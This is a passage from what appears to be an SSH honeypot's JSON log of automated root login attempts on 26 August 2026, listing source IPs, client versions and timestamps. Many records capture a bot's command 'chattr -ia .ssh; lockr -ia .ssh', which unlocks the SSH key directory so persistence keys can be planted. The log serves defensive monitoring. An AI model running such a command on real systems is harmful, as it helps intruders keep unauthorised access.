  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 35232,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:25:07.667501+00:00",
  "ended_at": "2026-08-26T21:25:09.073224+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2128
 },
 {
  "id": "a34f99c6-ef8a-4738-a80f-1445f80aeae4",
  "name": "blithe-cheerful-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 35252,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:24:57.541715+00:00",
  "ended_at": "2026-08-26T21:24:58.075890+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b88c03f2-6d2f-4b7b-91eb-e35d680454ef",
  "name": "northern-sterling-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55850,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:14:44.730793+00:00",
  "ended_at": "2026-08-26T21:14:45.343936+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d976e0ab-2ba4-4429-b7ed-32e952b473d6",
  "name": "dappled-lucid-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 11414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:59:52.019937+00:00",
  "ended_at": "2026-08-26T20:59:52.321966+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d4ddd2b-e9f4-4227-a13e-c542b27efa05",
  "name": "sullen-nameless-vole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.124",
  "src_port": 29196,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:36:12.229530+00:00",
  "ended_at": "2026-08-26T20:36:12.647434+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b22447b3-0916-422f-85e9-c8aaccb3d68a",
  "name": "sullen-quartz-galago",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.110",
  "src_port": 33634,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T20:35:12.125948+00:00",
  "ended_at": "2026-08-26T20:35:12.519135+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "03e85f0b-d0ff-4637-b8da-570068a7440b",
  "name": "lunar-gallant-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.131",
  "src_port": 45314,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:40:19.168369+00:00",
  "ended_at": "2026-08-26T18:40:19.681019+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e5bbe61c-4330-4c76-b8b7-169e1a52688c",
  "name": "wistful-solemn-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 58454,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 540,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:28:31.967852+00:00",
  "ended_at": "2026-08-26T18:28:33.184528+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "bc1ef3cf-2924-44b2-b0fb-ead132920d0c",
  "name": "polar-merry-saola",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 58482,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:28:13.574057+00:00",
  "ended_at": "2026-08-26T18:28:14.948398+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "489fe293-0c72-4ce4-ad63-285e100aebb5",
  "name": "primal-indigo-lemur",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 52828,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 512,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:25:33.989776+00:00",
  "ended_at": "2026-08-26T18:25:35.452780+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "bc269635-ae72-46f8-9337-a487cb8133e4",
  "name": "whispering-stoic-mole",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 57998,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:25:14.830408+00:00",
  "ended_at": "2026-08-26T18:25:16.407491+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "aac91f21-f1bc-4d20-8544-105491261a28",
  "name": "regal-ginger-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.61.177.190",
  "src_port": 48502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:19:56.801189+00:00",
  "ended_at": "2026-08-26T18:19:57.093402+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "09e78d2c-16f1-4ca9-b99a-8586a3a58132",
  "name": "fabled-boreal-goose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "45.61.177.190",
  "src_port": 48500,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:19:56.402132+00:00",
  "ended_at": "2026-08-26T18:19:56.588062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "33d09e0a-72d7-4661-aaad-ca12bd5e1b36",
  "name": "gnarled-slender-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 55992,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 536,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:16:36.587288+00:00",
  "ended_at": "2026-08-26T18:16:38.154660+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "714074c5-548c-42df-977d-df64ce550f27",
  "name": "gnarled-prairie-bushbaby",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 56014,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:16:18.446148+00:00",
  "ended_at": "2026-08-26T18:16:19.357700+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d0c0d5d2-fe55-4323-b790-fec0fe08e112",
  "name": "freckled-bronzed-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.24",
  "src_port": 56828,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:13:18.398764+00:00",
  "ended_at": "2026-08-26T18:13:21.370133+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "015510ba-cea4-469c-9467-beeb6085312d",
  "name": "mellow-cheerful-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 47128,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 542,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:04:40.564645+00:00",
  "ended_at": "2026-08-26T18:04:41.652112+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "511b06f5-672a-4dd2-89c4-b291ff1840c0",
  "name": "lucid-polar-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 47156,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:04:21.192478+00:00",
  "ended_at": "2026-08-26T18:04:22.506236+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67859af0-a50c-42d2-acee-a97ec9efad1f",
  "name": "bronzed-glassy-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 34416,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T18:01:46.915015+00:00",
  "ended_at": "2026-08-26T18:01:48.495916+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "80eaffd2-7ffe-43fc-b5f0-a10260abfe0c",
  "name": "nautical-jagged-redstart",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 35804,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T18:01:27.739730+00:00",
  "ended_at": "2026-08-26T18:01:29.320091+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6f5791c3-fba9-4d8c-93d1-ac54ecc14cfc",
  "name": "bashful-civil-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 39658,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:58:46.871208+00:00",
  "ended_at": "2026-08-26T17:58:47.874485+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "5f1e1899-4b02-4a40-ae75-c2815cef4c03",
  "name": "curious-autumn-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44486,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:58:28.492479+00:00",
  "ended_at": "2026-08-26T17:58:30.549116+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "42c8c558-be26-41de-bb4f-a2857d57b4d0",
  "name": "somber-frugal-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 45384,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:55:47.776042+00:00",
  "ended_at": "2026-08-26T17:55:48.730455+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2f5119b6-2a30-4846-8d2f-c65086c7569f",
  "name": "seaward-snowy-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45414,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:55:30.459779+00:00",
  "ended_at": "2026-08-26T17:55:31.564758+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "93ef68b0-34e4-4cb8-9604-d7f2d61343c0",
  "name": "bitter-amiable-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 59452,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 536,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:37:47.927305+00:00",
  "ended_at": "2026-08-26T17:37:49.152592+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "1e328fc8-c40a-4c9c-aa2b-40be2586da3c",
  "name": "thrifty-emerald-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 59468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:37:30.427322+00:00",
  "ended_at": "2026-08-26T17:37:31.300904+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca44722c-8e24-4640-ac8d-99a7a80da1f9",
  "name": "sincere-weathered-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 59808,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 549,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:28:55.684304+00:00",
  "ended_at": "2026-08-26T17:28:57.131528+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d3d3f851-c108-4caf-a22f-1c622f114988",
  "name": "opal-polar-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "85.11.167.154",
  "src_port": 11438,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:28:44.120824+00:00",
  "ended_at": "2026-08-26T17:28:44.427080+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a18d25b-6cff-4a2d-adda-43e582265258",
  "name": "amiable-clever-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 49454,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:28:35.903048+00:00",
  "ended_at": "2026-08-26T17:28:37.228375+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4218c19a-437a-497c-96ad-c76533e859b1",
  "name": "lawful-sturdy-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 45024,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:23:07.545343+00:00",
  "ended_at": "2026-08-26T17:23:08.968897+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "c6e117e0-8e3d-4250-aa4e-bd8462439e47",
  "name": "hushed-hazel-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 45032,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:22:49.953210+00:00",
  "ended_at": "2026-08-26T17:22:50.782054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c0bf24f-df4e-4c5d-b6c8-c5fe7f7ec0ff",
  "name": "curious-rustic-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.227",
  "src_port": 19032,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:22:07.270911+00:00",
  "ended_at": "2026-08-26T17:22:07.722623+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2092c945-ba1d-4b8d-91c9-6ad647fcdf48",
  "name": "faded-jolly-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 44208,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 539,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:20:13.004124+00:00",
  "ended_at": "2026-08-26T17:20:14.511849+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "474b2122-5d26-48d1-9ad7-3df3d137f9de",
  "name": "bitter-shifting-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 44404,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:19:53.946914+00:00",
  "ended_at": "2026-08-26T17:19:55.682043+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "44c50a88-9dbd-49f3-b57a-76d64fdc0a5d",
  "name": "genial-mighty-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 50650,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 551,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:17:22.479193+00:00",
  "ended_at": "2026-08-26T17:17:23.573581+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "25a04f08-9dbb-41ee-a253-21793abe2a5d",
  "name": "orderly-brazen-grouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 50666,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:17:03.437756+00:00",
  "ended_at": "2026-08-26T17:17:05.032588+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "67ee518b-6e71-49b1-afcc-a116e782369c",
  "name": "brazen-wry-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 37428,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 527,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:14:22.643635+00:00",
  "ended_at": "2026-08-26T17:14:23.689337+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "0808be22-fcde-47a9-905e-0b632a2d5ed0",
  "name": "northern-shaded-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 39838,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:14:04.554099+00:00",
  "ended_at": "2026-08-26T17:14:05.502970+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "29b3df17-c552-48fc-bff5-8d8f330f9603",
  "name": "stoic-creaky-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43112,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 522,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T17:08:26.813864+00:00",
  "ended_at": "2026-08-26T17:08:28.398127+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "d41ca9f9-e70f-461a-9368-7cf0fd0aa5a3",
  "name": "feral-vaulted-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 43124,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:08:08.345695+00:00",
  "ended_at": "2026-08-26T17:08:09.683539+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc180190-0c7b-4959-8e27-7c69a99b3811",
  "name": "solemn-kindly-hummingbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.27",
  "src_port": 28662,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T17:01:28.153741+00:00",
  "ended_at": "2026-08-26T17:01:28.465116+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b64052af-e251-4e94-bc05-5ff4676c7fa5",
  "name": "dusky-tawny-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 53834,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:56:41.435014+00:00",
  "ended_at": "2026-08-26T16:56:42.891316+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "d6519182-f2c0-4fce-9a52-28fb90e012d4",
  "name": "civil-granite-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 53860,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:56:21.048606+00:00",
  "ended_at": "2026-08-26T16:56:22.704066+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2617f066-07b6-4592-8343-0e9c1bb848be",
  "name": "stoic-fringed-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.29",
  "src_port": 27126,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:54:35.580718+00:00",
  "ended_at": "2026-08-26T16:54:35.998753+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7eb83e88-c236-44d4-914c-8a361aa70f81",
  "name": "fabled-lucid-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "115.191.43.197",
  "src_port": 43078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:48:29.923492+00:00",
  "ended_at": "2026-08-26T16:52:30.569193+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "399c04e2-db52-4a37-8947-ae9cba25946a",
  "name": "weathered-noble-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 43468,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 542,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:47:42.889485+00:00",
  "ended_at": "2026-08-26T16:47:44.105346+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "23b33203-9115-4232-8731-25b133eadaab",
  "name": "granite-upland-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33436,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:47:23.969690+00:00",
  "ended_at": "2026-08-26T16:47:25.627125+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a658bcf5-063f-4dff-8e9a-afd117f622cb",
  "name": "sturdy-glacial-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 54946,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 499,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T16:44:52.681323+00:00",
  "ended_at": "2026-08-26T16:44:54.097677+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2236
 },
 {
  "id": "4bbebc15-b4e6-4b19-b9ad-008fad19603a",
  "name": "quaint-blunt-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "20.153.204.5",
  "src_port": 33408,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T16:44:34.007144+00:00",
  "ended_at": "2026-08-26T16:44:35.729672+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc749601-cd80-4f73-991b-77c916554db9",
  "name": "crystal-sandy-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "20.153.204.5",
  "src_port": 56228,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 526,
  "probe_flagged": 0,
